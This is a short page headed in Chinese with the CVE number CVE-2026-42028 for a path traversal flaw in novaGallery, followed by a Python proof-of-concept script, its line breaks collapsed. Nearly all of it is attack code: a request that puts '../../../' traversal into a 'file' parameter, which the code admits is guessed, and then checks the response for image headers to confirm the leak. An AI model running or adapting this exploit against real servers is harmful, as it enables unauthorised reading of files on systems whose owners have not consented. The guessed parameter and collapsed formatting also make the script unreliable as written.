CVE-2026-42028 novaGallery路径遍历漏洞

import requests def exploit(target_url): # The vulnerable parameter might vary, assuming 'file' or 'image' based on description # Payload attempts to traverse out of the web root traversal_payload = "../../../tmp/sensitive_image.jpg" # Construct the full URL # Example: http://target.com/novagallery/index.php?file=../../../tmp/sensitive_image.jpg attack_url = f"{target_url}/index.php?file={traversal_payload}" try: response = requests.get(attack_url, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Checking if file content was leaked...") # Check for image header or specific content to verify success if b"JFIF" in response.content or b"PNG" in response.content: print("[!] Vulnerability Confirmed: Image file read successfully.") print(f"[+] Content Length: {len(response.content)} bytes") else: print("[-] Response received, but content does not look like an image.") else: print(f"[-] Exploit failed. HTTP Status Code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {str(e)}") if __name__ == "__main__": target = "http://127.0.0.1/novagallery" # Replace with actual target exploit(target)